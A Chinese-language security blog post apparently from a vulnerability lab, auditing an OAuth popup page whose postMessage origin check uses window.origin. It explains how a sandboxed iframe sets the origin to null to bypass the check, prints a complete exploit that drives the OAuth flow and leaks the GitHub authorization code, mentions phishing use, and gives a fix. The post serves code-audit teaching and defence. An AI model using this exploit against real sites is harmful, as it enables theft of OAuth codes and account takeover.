代码审计 | 同源策略的绕过

2023-09-11 23,202


 

1. 示例代码

<!-- oauth-popup.html --><script>const handlers = Object.assign(Object.create(null), {getAuthCode(sender) { sender.postMessage({   type: 'auth-code',   code: new URL(location).searchParams.get('code'), }, '*');},startAuthFlow(sender, clientId) { location.href = 'https://github.com/login/oauth/authorize'        + '?client_id=' + encodeURIComponent(clientId)        + '&redirect_uri=' + encodeURIComponent(location.href);  },});window.addEventListener('message', ({ source, origin, data }) => {  if (source !== window.opener) return;  if (origin !== window.origin) return;  handlers[data.cmd](source, ...data.args);});window.opener.postMessage({ type: 'popup-loaded' }, '*');</script>


请查看上述代码,找出其中的漏洞。


2. 漏洞位置


if (origin !== window.origin) return;


3. 漏洞原理

代码中用 origin !== window.origin 检查消息来源的域名与当前页面的域名是否相同,从而确保消息的来源合法。

攻击者可以利用浏览器的特性,通过在iframe中使用 sandbox 属性,使iframe的 origin 值为 null,当上述代码被嵌入在iframe中执行时,代码中传入消息的origin进而被设置为null。

再者,当sandbox属性的allow-popups标志被设定,页面中所有的弹窗都会继承sandbox属性(除非allow-popups-to-escape-sandbox标志被设定)。

因此攻击者可以设置打开一个弹窗,将窗口的window.origin属性设置为null。origin === window.origin === null消息可以绕过上述代码中的同源检测,达到攻击目的。


4. 漏洞利用

以下代码利用sandbox绕过同源策略以达到OAuth授权码窃取的目的。

<iframe sandbox="allow-scripts allow-popups allow-forms" src="data:text/html,<body><script> const victimClientId = '<client_id>'; const victimUrl = new URL('http://localhost:1337/oauth-popup.html'); const victimWindow = window.open(victimUrl.toString(), '_blank', 'popup=1,width=600,height=800'); let hasStarted = false; window.onmessage = (event) => {   const { type } = event.data;   if (type === 'popup-loaded') {     if (hasStarted) {       // the popup loaded the second time, indicating a successful OAuth flow       victimWindow.postMessage({ cmd: 'getAuthCode', args: [] }, '*');     } else {       // the popup loaded for the first time, start the OAuth flow       hasStarted = true;       victimWindow.postMessage({ cmd: 'startAuthFlow', args: [victimClientId] }, '*');     }
  } else if (type === 'auth-code') {     victimWindow.close();     document.body.textContent = 'Leaked GitHub OAuth code: ' + event.data.code;   } };<\/script></body>"></iframe>

访问攻击代码会正常打开授权页面。

6334508f0a04d79be8f18097f03d572.jpg

点击授权会发现GitHub提示Cookies must be enabled to use Github,猜测是GitHub对该攻击进行了防护。

8d697384081f45506516f90cf3b2196.jpg

但上述代码中的startAuthFlow已经执行,也就是发送的消息绕过了上述示例代码的同源检测,window.origin也被设置为null。

333ad4c657c0ad2f92bb4adc5834123.jpg

在实际应用中,该漏洞可以用于伪造一个与正常页面相同的页面进行钓鱼,当受害者点开目标网站授权登录时候,使用iframe设置sandbox属性将弹框导向正常页面,同时攻击者可以窃取正常页面信息,如上述代码中的OAuth授权码auth-code。


5. 修复方案

将示例代码中源验证的逻辑从window.origin改为使用location.origin,同时在使用postMessage发送消息时,将目标源指定为location.origin,这样即使在沙盒模式下的iframe中也能正确验证源。

a799223d33bd92e8b0620d8ad38ecd2.jpg

相关知识

postMessage()方法

window.postMessage()是用于实现跨文档通信的JavaScript方法,它允许不同窗口或 iframe 之间的互相发送消息,即使这些文档来自不同的源(域名、协议和端口组合)。由于该方法可以实现跨源通信,所以使用不当会导致跨站脚本(XSS),服务端请求伪造(CSRF)等漏洞。

该方法的原型如下:

postMessage(message, targetOrigin)
      postMessage(message, targetOrigin, transfer)

通常会使用该方法进行同源检测,防止不安全的消息被传递,比如上述代码中的:

if (source !== window.opener) return;
      if (origin !== window.origin) return;

sandbox属性

iframe的sandbox属性是用于设置和启用沙盒(sandbox)模式的属性。沙盒模式是一种安全机制,该机制允许在网页中嵌套其他内容,但限制了被嵌套内容的行为,以防止恶意代码对主页面产生不良影响。

该属性不同标志对应的含义如下所示:

作者:Assembly

202398日晚

洞源实验室


本文作者:洞源实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/203439.html

Tags:
评论  (0)
快来写下你的想法吧!

洞源实验室

文章数:8 积分: 0

供应链检测中心旗下实验室,专注供应链安全、产品测评、漏洞研究、代码审计

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号